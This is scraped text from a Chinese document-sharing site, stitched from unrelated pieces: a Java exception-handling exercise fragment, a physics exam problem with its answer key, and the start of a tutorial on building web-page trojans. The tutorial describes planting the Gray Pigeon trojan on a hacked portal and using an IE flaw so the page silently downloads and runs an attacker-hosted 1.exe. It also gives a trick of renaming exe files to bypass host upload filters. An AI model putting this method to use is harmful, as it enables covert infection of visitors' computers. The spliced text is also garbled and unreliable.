over the lazy dog.Exception in thread "main" https://www.360docs.net/doc/336412235.html,ng .ArrayIndexOutOfBoundsException at Ex7_1.main(Ex7_1.java:9)，可以看出，在第9行出现了数组下标越界的异常，导致了程序的中止，而程序的最后一条语句“System.out.println("haha...");”没有执行。 运行结果： 3、我们修改程序，加入异常处理，当程序发生异常时，经过异常处理后，程序还可以继续执行。 异常处理代码格式: try{ //可能有问题的代码 } catch(ArrayIndexOutOfBoundsException e) { //处理代码 break; } catch(Exception e1) { /// } catch(…..){ } 修改代码在可能出错的地方加入： try{ // } catch(ArrayIndexOutOfBoundsException e) {
2020物理高考备考专题《力学实验》(高考押题)(附答案解析版)
高考押题专练 1.某同学通过下述实验验证力的平行四边形定则.实验步骤： ①将弹簧秤固定在贴有白纸的竖直木板上，使其轴线沿竖直方向. ②如图所示，将环形橡皮筋一端挂在弹簧秤的秤钩上，另一端用圆珠笔尖竖直向下拉，直到弹簧秤示数为某一设定值时，将橡皮筋两端的位置标记为O1、O2，记录弹簧秤的示数F，测量并记录O1、O2间的距离(即橡皮筋的长度l).每次将弹簧秤示数改变0.50 N，测出所对应的l，部分数据如下表所示： ③找出②中F＝2.50 N时橡皮筋两端的位置，重新标记为O、O′，橡皮筋的拉力记为F O O′. ④在秤钩上涂抹少许润滑油，将橡皮筋搭在秤钩上，如图所示.用两圆珠笔尖成适当角度同时拉橡皮筋的两端，使秤钩的下端达到O点，将两笔尖的位置标记为A、B，橡皮筋OA段的拉力记为F OA，OB段的拉力记为F OB. 完成下列作图和填空： (1)利用表中数据在图坐标纸上画出Fl图线，根据图线求得l0＝________cm. (2)测得OA＝6.00 cm，OB＝7.60 cm，则F OA的大小为________N. (3)根据给出的标度，在图中作出F OA和F OB的合力F′的图示.
(4)通过比较F′与________的大小和方向，即可得出实验结论. 【答案】(1)见解析图甲10.0(9.8、9.9、10.1均正确)(2)1.80(1.70～1.90均正确)(3)见解析图乙(4)F OO′ 【解析】(1)作出Fl图象，如图甲所示，求得直线的横截距即为l0，可得l0＝10.0 cm (2)可计算橡皮筋的劲度系数 k＝F Δx＝2.5 0.05N/m＝50 N/m 若OA＝6.00 cm，OB＝7.60 cm，则橡皮筋的弹力为 F1＝kΔx1＝50×(6.00＋7.60－10.00)×10－2 N＝1.80 N 则此时F OA＝F1＝1.80 N (3)F OB＝F OA＝1.80 N，两力的合力F′如图乙所示. (4)F OO′的作用效果和F OA、F OB两个力的作用效果相同，F′是F OA、F OB两个力的合力，所以通过比较F′和F OO′的大小和方向，可得出实验结论.
网页木马制作全过程(详细)
如果你访问××网站（国内某门户网站），你就会中灰鸽子木马。这是我一黑客朋友给我说的一句说。打开该网站的首页，经检查，我确实中了灰鸽子。怎么实现的呢？他说，他侵入了该网站的服务器并在网站主页上挂了网页木马；一些安全专家常说，不要打开陌生人发来的网址，为什么？因为该网址很有可能就是一些不怀好意者精心制作的网页木马。 以上只是网页木马的两种形式，实际上网页木马还可以挂在多媒体文件（RM、RMVB、WMV、WMA、Flash）、电子邮件、论坛等多种文件和场合上。很可怕吧，那么用户如何防范网页木马呢？下面我们就先从网页木马的攻击原理说起。 一、网页木马的攻击原理 首先明确，网页木马实际上是一个HTML网页，与其它网页不同的是该网页是黑客精心制作的，用户一旦访问了该网页就会中木马。为什么说是黑客精心制作的呢？因为嵌入在这个网页中的脚本恰如其分地利用了IE浏览器的漏洞，让IE在后台自动下载黑客放置在网络上的木马并运行（安装）这个木马，也就是说，这个网页能下载木马到本地并运行（安装）下载到本地电脑上的木马，整个过程都在后台运行，用户一旦打开这个网页，下载过程和运行（安装）过程就自动开始。 有朋友会说，打开一个网页，IE浏览器真的能自动下载程序和运行程序吗？如果IE真的能肆无忌惮地任意下载和运行程序，那天下还不大乱。实际上，为了安全，IE浏览器是禁止自动下载程序特别是运行程序的，但是，IE浏览器存在着一些已知和未知的漏洞，网页木马就是利用这些漏洞获得权限来下载程序和运行程序的。下面我举IE浏览器早期的一个漏洞来分别说明这两个问题。 ⒈自动下载程序 小提示：代码说明 a. 代码中“src”的属性为程序的网络地址，本例中 “https://www.360docs.net/doc/336412235.html,/1.exe”为我放置在自己Web服务器上的灰鸽子服务端安装程序，这段代码能让网页下载该程序到浏览它的电脑上。 b. 也可以把木马程序上传到免费的主页空间上去，但免费空间出于安全的考虑，多数不允许上传exe文件，黑客可能变通一下把扩展名exe改为bat或com，这样他们就可以把这些程序上传到服务器上了。 把这段代码插入到网页源代码的